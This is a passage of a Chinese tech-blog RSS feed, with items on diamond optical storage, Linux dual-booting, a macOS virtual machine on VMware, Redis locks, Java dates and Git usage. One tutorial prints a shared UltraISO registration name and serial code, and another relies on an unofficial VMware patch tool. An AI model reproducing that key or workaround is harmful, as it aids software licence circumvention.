      <description>近日，纽约城市大学（CUNY）的研究人员已经成功地利用钻石原子结构中的小型氮缺陷作为“颜色中心”来写入数据进行存储（然后是检索）。这项发表在《自然·纳米技术》上的技术允许通过将数据编码为多个光频率（即颜色）将多个字节的数据写入相同的氮缺陷中——这可以在不混淆信息内容的情况下完成。&#xA;该技术可以将多个数据位存储在钻石的缺陷中，通过在不同光频率上编码实现每平方英寸25GB的数据密度。这项技术利用了钻石中的氮缺陷，这些缺陷可以作为颜色中心，通过精确控制它们的电荷来存储信息。研究人员使用窄带激光和低温条件来非常精确地控制这些颜色中心的电荷，并且可以在单个原子级别进行写入和读取。&#xA;他们展示了如何在同一氮缺陷中使用每种颜色的适当衍射限制打印多种颜色，这意味着可以根据对原子进行单独编程的颜色数量构建尽可能多的位。&#xA;这项技术的一个独特之处在于它是可逆的，可以无限次地写入、擦除和重写。此外，它还规避了衍射限制，可以通过利用距离小于衍射极限的颜色中心之间存在的轻微颜色（波长）变化来实现这一点。&#xA;这项研究对于提高光学数据存储容量具有重要的意义，尤其是在需要高容量存储的计算应用方面。虽然目前还需要低温冷却来操作这些颜色中心，但研究人员有信心他们的技术可以在室温下运行，并且有一天可能会导致在更低的能量成本下提高存储容量。&#xA;如果您看完有所受益，欢迎点击文章底部左下角“关注”并点击“分享”、“在看”，非常感谢！&#xA;精彩推荐:&#xA;SSD在AI发展中的关键作用：从高速缓存到数据湖&#xA;浅析不同NAND架构的差异与影响&#xA;SSD基础架构与NAND IO并发问题探讨&#xA;字节跳动ZNS SSD应用案例解析&#xA;SSD数据在写入NAND之前为何要随机化？&#xA;深度剖析：DMA对PCIe数据传输性能的影响&#xA;深入解析SSD Wear Leveling磨损均衡技术：如何让你的硬盘更长寿？&#xA;CXL崛起：2024启航，2025年开启新时代&#xA;NVMe SSD：ZNS与FDP对决，你选谁？&#xA;如何通过优化Read-Retry机制降低SSD读延迟？&#xA;关于硬盘质量大数据分析的思考&#xA;存储系统性能优化中IOMMU的作用是什么？&#xA;全景解析SSD IO QoS性能优化&#xA;NVMe IO数据传输如何选择PRP or SGL？&#xA;浅析nvme原子写的应用场景&#xA;多维度深入剖析QLC SSD硬件延迟的来源&#xA;浅析PCIe链路LTSSM状态机&#xA;浅析Relaxed Ordering对PCIe系统稳定性的影响&#xA;实战篇｜浅析MPS对PCIe系统稳定性的影响&#xA;浅析PCI配置空间&#xA;浅析PCIe系统性能&#xA;存储随笔《NVMe专题》大合集及PDF版正式发布！</description>
    </item>
    <item>
      <title>Win系统下安装Linux双系统教程（非常详细）从零基础入门到精通，看完这一篇就够了</title>
      <link>https://bchobby.github.io/posts/f2260bf8f1938ce642f9ee98600aa3a8/</link>
      <pubDate>Tue, 12 Dec 2023 20:52:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2260bf8f1938ce642f9ee98600aa3a8/</guid>
      <description>软件下载&#xA;软件：Linux&#xA;版本：18.0.4&#xA;语言：简体中文&#xA;大小：1.82G&#xA;安装环境：Win11/Win10/Win8/Win7硬件要求：CPU@2.0GHz 内存@4G(或更高）下载通道①丨百度网盘：&#xA;1.ubuntu18.0.4下载链接：&#xA;https://pan.baidu.com/s/13469aDpGacReo1bFvTKmng&#xA;提取码：7777&#xA;2.工具下载链接：&#xA;https://pan.baidu.com/s/17AwjX2AO7E5fHjYWQmINPQ&#xA;提取码：7777&#xA;软件介绍&#xA;Linux，全称GNU/Linux，是一套免费使用和自由传播的类UNIX操作系统，是一个基于POSIX和Unix的多用户、多任务、支持多线程和多CPU的操作系统。它能运行主要的Unix工具软件、应用程序和网络协议&#xA;安装步骤&#xA;温馨提示：&#xA;1.本教程分为3个部分：一、制作U盘启动二、磁盘分区三、安装Linux（ubuntu-18.04）系。。&#xA;2.请确保已经下载了所有需要的文件（1.ubuntu镜像，2.工具-UltraISO和DiskGenius）。&#xA;一、制作U盘启动&#xA;1.双击打开下载后的【ubuntu-18.04】文件夹。&#xA;2.鼠标右击【UltraISO】压缩包选择【解压到UltraISO】。&#xA;3.打开解压文件夹，鼠标右击【UltraISO_9.7.1.3519_cn】选择【以管理员身份运行】。&#xA;4.勾选【我接受】，点击【下一步】。&#xA;5.点击【下一步】。&#xA;6.点击【下一步】。&#xA;7.点击【下一步】。&#xA;8.点击【安装】。&#xA;9.安装完成，点击【结束】。&#xA;10.点击【输入注册码】。&#xA;11.输入注册名【Guanjiu】，输入注册码【A06C-83A7-701D-6CFC】，点击【确定】。&#xA;12.点击【确定】。&#xA;13.插入U盘（4G以上），双击桌面【UltraISO】图标启动软件。&#xA;14.点击【文件】选择【打开】。&#xA;15.选择下载后【ubuntu-18.04】文件夹中的【ubuntu-18.04.1-desktop-amd64】，点击【打开】。&#xA;16.点击【启动】选择【写入镜像】。&#xA;17.点击【写入】。&#xA;18.点击【是】&#xA;19.刻录成功，点击右上角【X】退出。&#xA;二、磁盘分区&#xA;1.打开下载后【ubuntu-18.04】文件夹，鼠标右击【DiskGenius】压缩包选择【解压到 DiskGenius】。&#xA;2.打开解压后的文件夹，双击运行【DiskGeniusLoad】。&#xA;3.鼠标右击一个磁盘（可选择自己容量较大的一个磁盘）选择【新建分区】。&#xA;4.分配新建分区的容量（不少于20G，推荐分配更多的内存到Linux系统中），点击【开始】。&#xA;5.点击【是】。&#xA;6.分区完成，点击【完成】。&#xA;三、安装系统&#xA;1.重启电脑，选择电脑从介质（U盘）启动(由于电脑型号不同同，设置方法不同，提供以下两种方法）。&#xA;方法一、开机画面出现后，立刻按本机型的U盘启动【快捷键】（各主流机型快捷键如下图）选择自己的【U盘英文名称】即可启动。&#xA;方法二、进入电脑Bios设置U盘为第一启动项（当方法一无法选择U盘启动时，需用此方法进行设置），不同类型的机器进入BIOS按键和设置方法均不同（建议自行搜索对应的电脑型号设置教程），总体来说就是在boot里面设置U盘为第一启动项，设置后按F10保存，重启电脑自动从U盘启动。&#xA;3.我这里以组装的微星主板电脑为例：开机按从介质启动快捷键【F11】，在键盘上按【↑↓】选择【UEFI:……】（一般为自己U盘牌子的英文名称）后按【Enter】键。&#xA;4.在键盘上按【↑↓】选择【RUN……】后按【Enter】键。&#xA;5.选择【中文（简体）】按【Enter】键。&#xA;6.双击【Ubuntu（I）】。&#xA;7.系统安装中……&#xA;8…选择【中文(简体)】，点击【安装Ubuntu】。&#xA;9.点击【继续】。&#xA;10.点击【继续】。&#xA;11.选择【其它选项】（选择安装的磁盘位置，不要选择C盘，否则会覆盖原系统）点击【现在安装】。&#xA;12.点击【继续】。&#xA;13.点击【继续】。&#xA;14.输入【姓名、密码】，点击【继续】。&#xA;15.系统安装中……&#xA;16.点击【现在重启】。&#xA;17.在键盘上按【Enter】键。&#xA;18.点击【用户名】。&#xA;19.输入【密码】,点击【登录】。&#xA;20.安装结束：Ubuntu系统界面图下。</description>
    </item>
    <item>
      <title>HNU数据库大作业-世界杯比赛系统</title>
      <link>https://bchobby.github.io/posts/bee150959f9f1cd42a31edb7dcf8ea70/</link>
      <pubDate>Tue, 12 Dec 2023 20:29:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bee150959f9f1cd42a31edb7dcf8ea70/</guid>
      <description>前言 之前做的那个版本bug较多，后进行了大量优化。&#xA;此项目是一个前后端分离的项目，前端主要使用html+css+js搭建，使用的是layui框架&#xA;后端使用php语言，仅实现了简单的查询数据库功能，无法实现多并发查询等复杂情况&#xA;数据库使用mysql，准备了一些测试数据，同时有外键约束和存储过程和触发器等内容&#xA;要看如何运行项目可以拉到最后一个章节&#xA;项目链接：https://gitee.com/jzbbbb/world-cup-competition-system.git&#xA;介绍 项目名：世界杯比赛系统&#xA;技术栈：HTML+CSS+JS+MySQL+Axios+PHP+Layui+Echarts&#xA;项目介绍：&#xA;本项目以 Layui 为基础框架。使用 Echarts 图表提供了八种不同类型的图表，帮助用户更深入地理解数据。&#xA;后台数据库为 MySQL，设有存储过程和触发器，支持表格的增删改查功能，通过外键保障了数据的完整性和一致性。&#xA;PHP 作为后端操作数据库的工具，与 Axios 相结合，确保了数据交互的高效性和安全性。&#xA;效果展示 1.登录页面（验证码功能未实现验证功能，其他登录方式也没实现）&#xA;2.主页面&#xA;3.用户表&#xA;4.查询用户（支持模糊查询）&#xA;5.修改用户信息&#xA;6.添加用户&#xA;7.查看用户分析&#xA;8.球员表查看&#xA;9.修改球员信息&#xA;10.添加球员&#xA;11.球员统计&#xA;12.球员表&#xA;13.修改球队信息&#xA;14.添加球队&#xA;15.球队统计&#xA;16.比赛表&#xA;17.淘汰赛（未实现，贴了张图）&#xA;18.添加比赛&#xA;下面记住比赛开始前两队的一些数据&#xA;19.开始比赛，添加进球事件&#xA;荷兰队的范戴克在某个时间进了某个球&#xA;然后最后又进了两个球，比赛结果如下&#xA;20.点击编辑结束比赛&#xA;21.查看比赛信息&#xA;可以查看具体进球的时间和进球人的信息，以及关于比赛的描述&#xA;22.查看比赛结束后两队的数据&#xA;可以看到，两队的数据自动变化，是由于设置了存储过程&#xA;实际上球员表的进球数据也会自动改变，可以自行测试&#xA;运行项目教程 1.下载phpstudy&#xA;这个网上教程很多，随便下一个即可&#xA;2.打开phpstudy，在软件管理页面下载最高版本的mysql&#xA;3.看看能不能打开Apache和MySQL服务，如果有问题自行百度&#xA;4.配置网站的一些配置项&#xA;这里注意域名，端口号，php版本要和我配置的一样&#xA;然后注意根目录，即项目的位置要放在phpstudy安装目录的WWW目录下&#xA;5.下面配置数据库&#xA;6.运行sql创建数据库&#xA;打开数据库图形化软件如navicat或datagrip，看看刚才配置的数据库是否能连接&#xA;然后运行项目的sql，其代码已经包括建数据库，建表，添加测试数据和外键等&#xA;理论上运行是没有错误的&#xA;可以看到一些新建的表已经有测试数据了&#xA;具体的字段信息可以直接看sql文件，都有注释&#xA;7.打开项目&#xA;推荐使用谷歌浏览器打开刚才配置好的域名和端口号就可以打开项目了&#xA;使用提前准备好的管理员账号和密码就可以登录了</description>
    </item>
    <item>
      <title>Redis系列之简单实现watchDog自动续期机制</title>
      <link>https://bchobby.github.io/posts/53e6a5d71e9e9925343a2bdf4b4506b6/</link>
      <pubDate>Tue, 12 Dec 2023 20:23:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53e6a5d71e9e9925343a2bdf4b4506b6/</guid>
      <description>在分布锁的实际使用中，可能会遇到一种情况，一个业务执行时间很长，已经超过redis加锁的时间，也就是锁已经释放了，但是业务还没执行完成，这时候其它线程还是可以获取锁，那就没保证线程安全&#xA;项目环境：&#xA;JDK 1.8&#xA;SpringBoot 2.2.1&#xA;Maven 3.2+&#xA;Mysql 8.0.26&#xA;spring-boot-starter-data-redis 2.2.1&#xA;jedis3.1.0&#xA;开发工具&#xA;IntelliJ IDEA&#xA;smartGit&#xA;先搭建一个springboot集成jedis的例子工程，参考我之前的博客，&#xA;抽象类，实现一些共用的逻辑&#xA;package com.example.jedis.common; import lombok.extern.slf4j.Slf4j; import java.net.SocketTimeoutException; import java.util.concurrent.TimeUnit; import static com.example.jedis.common.RedisConstant.DEFAULT_EXPIRE; import static com.example.jedis.common.RedisConstant.DEFAULT_TIMEOUT; @Slf4j public abstract class AbstractDistributedLock implements DistributedLock { @Override public boolean acquire(String lockKey, String requestId, int expireTime, int timeout) { expireTime = expireTime &amp;lt;= 0 ? DEFAULT_EXPIRE : expireTime; timeout = timeout &amp;lt; 0 ? DEFAULT_TIMEOUT : timeout * 1000; long start = System.</description>
    </item>
    <item>
      <title>macOS虚拟机安装全过程（VMware）（非常详细）从零基础入门到精通，看完这一篇就够了</title>
      <link>https://bchobby.github.io/posts/c5f4e4a070e75d6bb0ab5d91b9ace011/</link>
      <pubDate>Tue, 12 Dec 2023 19:35:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5f4e4a070e75d6bb0ab5d91b9ace011/</guid>
      <description>作为一名忠实果粉，我最大的愿望就是能够拥有一台Macbook，体验macOS，但是作为学生党，这价钱，贵到离谱啊~~~&#xA;不过，VMware这个神器，可以解决一切问题：既然macOS可以在Macbook上运行，为什么就不能在VMware虚拟机上运行呢？我立马打开VMware，行动了起来~&#xA;----------------------------------------正文------------------------------------------&#xA;目录&#xA;1. 安装前的准备&#xA;2. 下载macOS镜像&#xA;3. 让VMware支持macOS虚拟机&#xA;4. 创建虚拟机&#xA;5. 分配内存空间，配置vmx文件&#xA;6. 安装macOS&#xA;7. 配置macOS&#xA;8. 安装VMware Tools&#xA;9. 初体验&#xA;1. 安装前的准备 VMware Workspace 16 Pro要准备好，如果没有见我之前写的博客的前半部分；&#xA;还有百度网盘，链接： 百度网盘下载链接。&#xA;2. 下载macOS镜像 这里提供3个版本的macOS镜像，越往下版本越新，下文以macOS Big Sur 11举例&#xA;macOS EI Captian 10.11：https://pan.baidu.com/s/1fagJkrFqq4FKA_HSB9Xhcgpwd=rvwz&#xA;此系统适合配置较低的Windows XP、Windows 7老电脑，Intel测试通过；&#xA;macOS Sierra 10.12：https://pan.baidu.com/s/19P4h9wb3gQSSLnu8h9HWGQ?pwd=rybb&#xA;此系统适合配置中等的Windows 7、Windows 8.1电脑，AMD亲测不通过；&#xA;macOS Big Sur 11：https://pan.baidu.com/s/1mBgmzE3I7-X9p8G9Iiqk4A?pwd=a5jc&#xA;此系统适合配置较高的Windows 10、Windows 11电脑，AMD亲测通过；&#xA;mac****OS Monterey 12链接往下翻到评论区（☟）但新手不建议尝试，开机无限重启，Ctrl+R出现禁止标志&#xA;如果镜像文件格式是.iso或.cdr的，不用管它，如果格式是.dmg的，需要用UltraISO（软碟通）把格式转为iso。ultraiso下载链接：下载链接；转格式教程链接：教程链接；&#xA;附1：如果打开分享链接是一个文件夹，请整个文件夹下载，解压解文件夹里后缀名为.zip或者.7z.001的文件，就会得到镜像文件。这是因为百度网盘上传限制4GB，只能通过分卷的形式上传（百度网盘就是限制地辣么s）&#xA;附2：百度网盘官方提速小技巧：教程链接，亲测100KB/s飙到5MB/s，不用SVIP！！！&#xA;3. 让VMware支持macOS虚拟机 不要一得到镜像就高高兴兴地去VMware里建虚拟机（比如我），要不然你会傻眼：VMware虚拟机系统选项里怎么没有macOS？&#xA;这是因为VMware原生不支持macOS，我们需要用工具来让VMware支持macOS虚拟机&#xA;工具链接：https://pan.baidu.com/s/10PiyzgphQ3xLuXKK5RvSYg?pwd=ilip，下载时请整个文件夹下载；&#xA;工具使用之前要先关掉VMware，后台的VMware进程也要清理一空。右键开始键，选择“任务管理器”，然后往下滑，找到名字带有VMware的进程（下图圈起来的），全部都右键——结束进程。等一会儿，如果有“死而复生”的，也干掉它们，直到没有一个VMware进程为止；</description>
    </item>
    <item>
      <title>mybatis-plus使用达梦数据库处理枚举类型报错的问题</title>
      <link>https://bchobby.github.io/posts/1738131e54379e8de945fd05b9bb2cd0/</link>
      <pubDate>Tue, 12 Dec 2023 17:36:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1738131e54379e8de945fd05b9bb2cd0/</guid>
      <description>使用mybatis-plus连接达梦数据库，枚举类型无法读取&#xA;枚举类：&#xA;实体：&#xA;数据库字段：&#xA;mybatis-plus枚举包配置：&#xA;调用查询方法：&#xA;List&amp;lt;QualityRuleTemplate&amp;gt; qualityRuleTemplates = ruleTemplateService.list(new QueryWrapper&amp;lt;QualityRuleTemplate&amp;gt;().lambda() .eq(QualityRuleTemplate::getRuleType, QualityRuleTypeEnum.DATASOURCE)); 报错：&#xA;Caused by: dm.jdbc.driver.DMException: 不支持的接口或功能 at dm.jdbc.driver.DBError.throwException(DBError.java:710) ~[DmJdbcDriver18-8.1.1.193.jar:- 8.1.1.193 - Production] at dm.jdbc.driver.DmdbResultSet.do_getObject(DmdbResultSet.java:1972) ~[DmJdbcDriver18-8.1.1.193.jar:- 8.1.1.193 - Production] at dm.jdbc.driver.DmdbResultSet.do_getObject(DmdbResultSet.java:1978) ~[DmJdbcDriver18-8.1.1.193.jar:- 8.1.1.193 - Production] at dm.jdbc.driver.DmdbResultSet.getObject(DmdbResultSet.java:5335) ~[DmJdbcDriver18-8.1.1.193.jar:- 8.1.1.193 - Production] at com.alibaba.druid.filter.FilterChainImpl.resultSet_getObject(FilterChainImpl.java:1395) ~[druid-1.2.18.jar:?] at com.alibaba.druid.filter.FilterAdapter.resultSet_getObject(FilterAdapter.java:1712) ~[druid-1.2.18.jar:?] at com.alibaba.druid.filter.FilterChainImpl.resultSet_getObject(FilterChainImpl.java:1391) ~[druid-1.2.18.jar:?] at com.alibaba.druid.filter.stat.StatFilter.resultSet_getObject(StatFilter.java:878) ~[druid-1.2.18.jar:?] at com.alibaba.druid.filter.FilterChainImpl.resultSet_getObject(FilterChainImpl.java:1391) ~[druid-1.2.18.jar:?] at com.alibaba.druid.proxy.jdbc.ResultSetProxyImpl.getObject(ResultSetProxyImpl.java:1546) ~[druid-1.2.18.jar:?] at com.alibaba.druid.pool.DruidPooledResultSet.getObject(DruidPooledResultSet.java:1765) ~[druid-1.2.18.jar:?] at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:?] at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?</description>
    </item>
    <item>
      <title>docker安装redis并挂载配置文件</title>
      <link>https://bchobby.github.io/posts/a249108cbe74be2cd86710b1b31f6bf6/</link>
      <pubDate>Tue, 12 Dec 2023 17:19:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a249108cbe74be2cd86710b1b31f6bf6/</guid>
      <description>https://blog.csdn.net/2301_76357803/article/details/131688214</description>
    </item>
    <item>
      <title>Java日期时间使用总结</title>
      <link>https://bchobby.github.io/posts/a6fc310e45a6a5d7b9a799269bac23a9/</link>
      <pubDate>Tue, 12 Dec 2023 16:59:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6fc310e45a6a5d7b9a799269bac23a9/</guid>
      <description>Java日期、时间的使用总结 一、Java中的日期概述1、java.util.Date2、java.text.DateFormat (抽象类)3、java.text.SimpleDateFormat (DateFormat 的直接子类)4、java.util.Calendar（抽象类）5、java.util.GregorianCalendar （Calendar 的直接子类） 二、Java中的日期使用1、java.util.Date2、java.text.DateFormat 抽象类的使用3、java.text.SimpleDateFormat（DateFormat 的直接子类）的使用4、java.util.Calendar（抽象类）5、java.util.GregorianCalendar（Calendar 的直接子类）6、Date/Time API7、Java 中 Date 日期格式的各种转换8、LocalDate 日期比较大小9、Date 日期比较大小 三、时间日期计算1、LocalDate、LocalDateTime 计算时间差2、LocalDate、LocalTime、LocalDateTime 类的使用LocalDate 的方法LocalTime 的方法LocalDateTime 的方法DateTimeFormatterDuration 一、Java中的日期概述 日期在Java中是一块非常复杂的内容，对于一个日期在不同的语言、国别环境中，日期的国际化、日期和时间之间转换、日期的加减运算、日期的展示格式都是非常复杂的问题。&#xA;在Java中，操作日期主要涉及到以下几个类：&#xA;1、java.util.Date Date 类表示特定的瞬间，精确到毫秒。从 JDK 1.1 开始，应该使用 Calendar 类实现日期和时间字段之间转换，使用 DateFormat 类来格式化和分析日期字符串。Date 中的把日期解释为年、月、日、时、分、秒的方法已经废弃了。&#xA;2、java.text.DateFormat (抽象类) DateFormat 是日期 / 时间格式化子类的抽象类，它以与语言无关的方式格式化并分析日期或时间。日期 / 时间格式化子类（如SimpleDateFormat ）允许进行格式化（也就是日期 -&amp;gt; 文本）、分析（文本 -&amp;gt; 日期）、和标准化。将日期表示为 Date 对象，或者表示为从 GMT（格林尼治标准时间）1970 年 01 月 01 日 00:00:00 这一刻开始的毫秒数。&#xA;3、java.text.SimpleDateFormat (DateFormat 的直接子类) SimpleDateFormat 是一个以语言环境相关的方式来格式化和分析日期的具体类。它允许进行格式化（日期 -&amp;gt; 文本）、分析（文本 -&amp;gt; 日期）、和规范化。</description>
    </item>
    <item>
      <title>Xshell常用命令</title>
      <link>https://bchobby.github.io/posts/1228e80c39d77866d62597ab1b046b4a/</link>
      <pubDate>Tue, 12 Dec 2023 16:58:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1228e80c39d77866d62597ab1b046b4a/</guid>
      <description>Xshell 一、常用命令1.查询cd - 更改目录ls - 列出文件ps - 查看进程top - 查看cpu，内存find - 查找文件more,less - 查看文件内容pwd - 查看当前路径grep - 搜索文件内容tail - 查看文件详情head - 查看文件的名字和后缀cat - 显示文件内容diff - 比较文件内容 2.创建mkdir - 建立目录touch - 创建一个空文件cp - 复制文件 3.编辑mv - 移动和重命名文件vi - 编辑文件 4.删除rm - 删除文件和目录rmdir - 删除空目录 5.其他kill - 杀掉进程ln - 建立连接tar - 打包/解包rz,sz - 文件上传下载stop,start - 重启tomcat 二、基本系统命令ping - 测试网络连通性ifconfig - 查看网络设置信息clear - 清屏chown - 变更使用者clock - 时钟设置date - 系统日期设置last - 查看最近哪些用户登录系统man - 查看某个命令的帮助reboot,shutdown - 关闭和重启计算机uptime - 现在的时间iostat - 磁盘吞吐量vmstat - 监视虚拟内存使用情况w - 显示登录用户的详细信息su - 切换用户 三、常用实例查看端口号占用情况根目录编辑 一、常用命令 1.</description>
    </item>
    <item>
      <title>vscode怎么使用git</title>
      <link>https://bchobby.github.io/posts/e7645719b65c736863cd9e92f879a8b4/</link>
      <pubDate>Tue, 12 Dec 2023 16:01:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7645719b65c736863cd9e92f879a8b4/</guid>
      <description>0 配置：多项目 多git账号密码，无需每个项目每次设置（以vscode为例） 配置：多项目 多git账号密码，无需每个项目每次设置（以vscode为例）_git配置多个用户名和密码-CSDN博客&#xA;git config --global user.name &#34;用户名&#34; git config --global user.email &#34;用户邮箱&#34; vsCode git 修改、清空、重置、保存账号名密码 1、保存账号名密码，之后拉取代码都不用重新输入：&#xA;git config --global credential.helper store 2、查看git用户名：&#xA;git config user.name 3、清空所有的用户名和密码：&#xA;git config --system --unset credential.helper 4、清楚缓存的用户名和密码：&#xA;git credential-manager uninstall 5、更改全局的用户名：&#xA;git config --global user.name &#34;username&#34; 6、更改全局的邮箱：&#xA;git config --global user.email &#34;eamil@qq.com&#34; 1、clone代码库 在vscode中输入快捷键“Ctrl + Shift + P”打开vscode的命令框，在框中输入“git clone”并回车，然后在文本框中输入git代码库的地址&#xA;(mac 是shift+ command+p)&#xA;2、修改clone下来的代码文件，并查看更改的文件列表 代码文件有任意修改后，在vscode左边git图标会显示有多少个文件的改动，点击git图标后，进入到git功能区，会显示改动文件的列表&#xA;u是新增，m是修改&#xA;3、查看和比较修改和前一版本有什么不同 双击文件&#xA;在上一步改动文件列表中，双击改动过的文件，然后会显示diff视图，显示有哪些改动，会把有不同的部分高亮显示&#xA;4、添加文件到暂存区获取取消更改 存放到暂存区&#xA;在改动文件列表中，鼠标悬停在某个文件上，右边会出现“discard change”（撤销更改）和“Stage Change”（暂存更改）的图标，我们可以根据需要选择</description>
    </item>
    <item>
      <title>PSM和HTE的异同：以感冒场景为例</title>
      <link>https://bchobby.github.io/posts/cd49b8026fe941979184ff84ee4d87ab/</link>
      <pubDate>Tue, 12 Dec 2023 15:49:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd49b8026fe941979184ff84ee4d87ab/</guid>
      <description>笔者在刚开始接触PSM和HTE时，对这两个方法算出来的结果十分困惑：既然这两个方法都是计算实验处理效应，那么选择PSM还是HTE又有什么不同呢？随着笔者对这两个方法的深入研究，发现这两个方法的本质不同在于：&#xA;PSM的计算结果是ATT，HTE的计算结果是CATE；&#xA;要理解这个差异，首先要理解什么是ATT和CATE。我们以平时常见的感冒场景为例：当我们感冒时，我们可以选择吃感冒药；也可以不吃感冒药，多喝热水自己抗过去。这里我们想探究的是吃感冒药对健康有多大影响，那么我们定义T1代表吃感冒药，T0代表不吃感冒药，Y为健康评分。协变量X可能有很多，比如年龄、性别、近1年就医次数等等。&#xA;缩写英文中文数学表达例子估计方法ATEAverage Treatment Effect平均处理效应E[Y1-Y0]感冒药对所有人群的效果 ATT&#xA;Average Treatment Effect on the Treated受处理人群（实验组）平均处理效果E[Y1-Y0|T=1]感冒药对所有吃感冒药人群的效果PSMCATEConditional Average Treatment Effect条件平均处理效应E[Y1-Y0|X=x]感冒药对所有吃感冒药的年老、男性人群的效果HTE 那么，以上统计量之间应如何相互转化呢？&#xA;为了简化问题，我们假设协变量X只有年龄（年轻、年老）和性别（男、女），所以人群可以划分为以下四组，四组人群HTE的估计结果如下：&#xA;组别年龄性别CATE总样本中Gn的占比吃感冒药（T=1）样本中Gn的占比G1年轻男性CATE125%15%G2年轻女性CATE225%30%G3年老男性CATE325%20%G4年老女性CATE425%35% 那么，对于ATE和ATT我们有：&#xA;我们该怎么理解上面的公式呢：&#xA;如果我们知道某特定X群体在总样本中占比，我们可以利用CATE加权计算得到ATE；&#xA;如果我们知道某特定X群体在实验组（T=1）中的占比，我们可以利用CATE加权计算得到ATT。</description>
    </item>
    <item>
      <title>Java练习-设计并实现一个字典功能模块</title>
      <link>https://bchobby.github.io/posts/aad0abf761e7835a9396ace3200f0930/</link>
      <pubDate>Tue, 12 Dec 2023 15:39:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aad0abf761e7835a9396ace3200f0930/</guid>
      <description>文章目录 前言正文一、maven依赖二、SQL脚本三、树形结构查寻3.1 调用时3.2 DictUtil.convertToTree(...) 四、导出和导入 前言 很多Java开发的系统中，可能都需要做一些配置呀，字典之类的设计。&#xA;这里我提供一个思路，以及针对这个思路做了具体的实现，以供大家参考学习。&#xA;代码仓库：https://gitee.com/fengsoshuai/custom-dict&#xA;采用java8，springboot2.7.7，mysql 进行实现。&#xA;正文 因为代码文件较多，就不粘贴全部了，这里粘贴部分重要文件。&#xA;基本的查询（树形结构），插入，导入，导出等也都是实现了。&#xA;一、maven依赖 &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.7.7&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;8.0.18&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;runtime&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-plus-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.5.3.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.feng&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;custom-dict-client&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;cn.hutool&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hutool-core&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.8.19&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;druid-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.16&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.18.16&amp;lt;/version&amp;gt; &amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;easyexcel&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.11&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 二、SQL脚本 /* Navicat Premium Data Transfer Source Server : localhost Source Server Type : MySQL Source Server Version : 80100 Source Host : localhost:3306 Source Schema : test_custom_dict Target Server Type : MySQL Target Server Version : 80100 File Encoding : 65001 Date: 06/12/2023 11:15:58 */ SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS = 0; -- ---------------------------- -- Table structure for custom_dict -- ---------------------------- DROP TABLE IF EXISTS `custom_dict`; CREATE TABLE `custom_dict` ( `id` bigint NOT NULL AUTO_INCREMENT COMMENT &#39;id&#39;, `parent_id` bigint NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;父id&#39;, `name` varchar(100) NOT NULL DEFAULT &#39;&#39; COMMENT &#39;含义&#39;, `dict_val` varchar(100) NOT NULL DEFAULT &#39;&#39; COMMENT &#39;字典val&#39;, `dict_key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL COMMENT &#39;字典key&#39;, `weight` int NOT NULL DEFAULT &#39;0&#39; COMMENT &#39;权重&#39;, `status` tinyint NOT NULL DEFAULT &#39;1&#39; COMMENT &#39;状态（1 启用；0禁用）&#39;, `create_user` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL DEFAULT &#39;&#39; COMMENT &#39;创建用户&#39;, `create_username` varchar(64) CHARACTER SET 